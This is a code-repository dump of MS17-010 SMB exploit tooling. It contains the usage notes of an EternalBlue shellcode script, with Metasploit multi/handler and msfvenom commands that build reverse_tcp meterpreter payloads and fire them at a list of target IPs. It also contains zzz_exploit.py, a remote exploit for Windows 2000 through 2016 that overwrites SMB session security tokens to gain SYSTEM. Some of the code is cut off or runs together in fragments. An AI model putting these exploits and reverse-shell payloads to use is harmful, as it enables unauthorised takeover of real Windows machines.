sc_x64 16 | ''' 17 | fp.write('\x31\xc0\x40\x0f\x84'+pack(' use exploit/multi/handler 26 | msf exploit(handler) > set ExitOnSession false 27 | msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp 28 | msf exploit(handler) > set EXITFUNC thread 29 | msf exploit(handler) > set LHOST 0.0.0.0 30 | msf exploit(handler) > set LPORT 4444 31 | msf exploit(handler) > exploit -j 32 | ... 33 | msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp 34 | msf exploit(handler) > set LPORT 4445 35 | msf exploit(handler) > exploit -j 36 | ... 37 | 38 | 39 | 40 | $ msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4444 41 | ... 42 | $ msfvenom -p windows/meterpreter/reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=192.168.13.37 LPORT=4445 43 | ... 44 | $ cat sc_x64_kernel.bin sc_x64_msf.bin > sc_x64.bin 45 | $ cat sc_x86_kernel.bin sc_x86_msf.bin > sc_x86.bin 46 | $ python eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin 47 | $ python eternalblue_exploit7.py 192.168.13.81 sc_all.bin 48 | ... 49 | $ python eternalblue_exploit7.py 192.168.13.82 sc_all.bin 50 | ... 51 | $ python eternalblue_exploit7.py 192.168.13.83 sc_all.bin 52 | ... 53 | $ python eternalblue_exploit7.py 192.168.13.84 sc_all.bin 54 | ... 55 | ''' 56 | -------------------------------------------------------------------------------- /zzz_exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb, smbconnection 3 | from mysmb import MYSMB 4 | from struct import pack, unpack, unpack_from 5 | import sys 6 | import socket 7 | import time 8 | 9 | ''' 10 | MS17-010 exploit for Windows 2000 and later by sleepya 11 | 12 | Note: 13 | - The exploit should never crash a target (chance should be nearly 0%) 14 | - The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed 15 | 16 | Tested on: 17 | - Windows 2016 x64 18 | - Windows 10 Pro Build 10240 x64 19 | - Windows 2012 R2 x64 20 | - Windows 8.1 x64 21 | - Windows 2008 R2 SP1 x64 22 | - Windows 7 SP1 x64 23 | - Windows 2008 SP1 x64 24 | - Windows 2003 R2 SP2 x64 25 | - Windows XP SP2 x64 26 | - Windows 8.1 x86 27 | - Windows 7 SP1 x86 28 | - Windows 2008 SP1 x86 29 | - Windows 2003 SP2 x86 30 | - Windows XP SP3 x86 31 | - Windows 2000 SP4 x86 32 | ''' 33 | 34 | USERNAME = '' 35 | PASSWORD = '' 36 | 37 | ''' 38 | A transaction with empty setup: 39 | - it is allocated from paged pool (same as other transaction types) on Windows 7 and later 40 | - it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier 41 | - no lookaside or caching method for allocating it 42 | 43 | Note: method name is from NSA eternalromance 44 | 45 | For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit 46 | for freed pool from large pool). Additionally, the exploit does the information leak to check transactions 47 | alignment before doing OOB write. So this exploit should never crash a target against Windows 7 and later. 48 | 49 | For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size 50 | smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But 51 | a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). 52 | Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment 53 | in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback 54 | of this method is we cannot do information leak to verify transactions alignment before OOB write. 55 | So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier. 56 | ''' 57 | 58 | ''' 59 | Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() 60 | win7 x64 61 | struct SrvSecContext { 62 | DWORD xx1; // second WORD is size 63 | DWORD refCnt; 64 | PACCESS_TOKEN Token; // 0x08 65 | DWORD xx2; 66 | BOOLEAN CopyOnOpen; // 0x14 67 | BOOLEAN EffectiveOnly; 68 | WORD xx3; 69 | DWORD ImpersonationLevel; // 0x18 70 | DWORD xx4; 71 | BOOLEAN UsePsImpersonateClient; // 0x20 72 | } 73 | win2012 x64 74 | struct SrvSecContext { 75 | DWORD xx1; // second WORD is size 76 | DWORD refCnt; 77 | QWORD xx2; 78 | QWORD xx3; 79 | PACCESS_TOKEN Token; // 0x18 80 | DWORD xx4; 81 | BOOLEAN CopyOnOpen; // 0x24 82 | BOOLEAN EffectiveOnly; 83 | WORD xx3; 84 | DWORD ImpersonationLevel; // 0x28 85 | DWORD xx4; 86 | BOOLEAN UsePsImpersonateClient; // 0x30 87 | } 88 | 89 | SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. 90 | It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 91 | From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, 92 | PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns 93 | STATUS_SUCCESS when Token is NULL. 94 | If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM) 95 | to do all SMB operations. 96 | Note: for Windows 2003 and earlier, the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only 97 | ImpersonateSecurityContext() is used in these Windows versions. 98 | ''' 99 | ########################### 100 | # info for modify session security context 101 | ########################### 102 | WIN7_64_SESSION_INFO = { 103 | 'SESSION_SECCTX_OFFSET': 0xa0, 104 | 'SESSION_ISNULL_OFFSET': 0xba, 105 | 'FAKE_SECCTX': pack(' [pipe_name]".format(sys.argv[0])) 992 | sys.exit(1) 993 | 994 | target = sys.argv[1] 995 | pipe_name = None if len(sys.argv) < 3 else sys.argv[2] 996 | 997 | exploit(target, pipe_name) 998 | print('Done') 999 | --------------------------------------------------------------------------------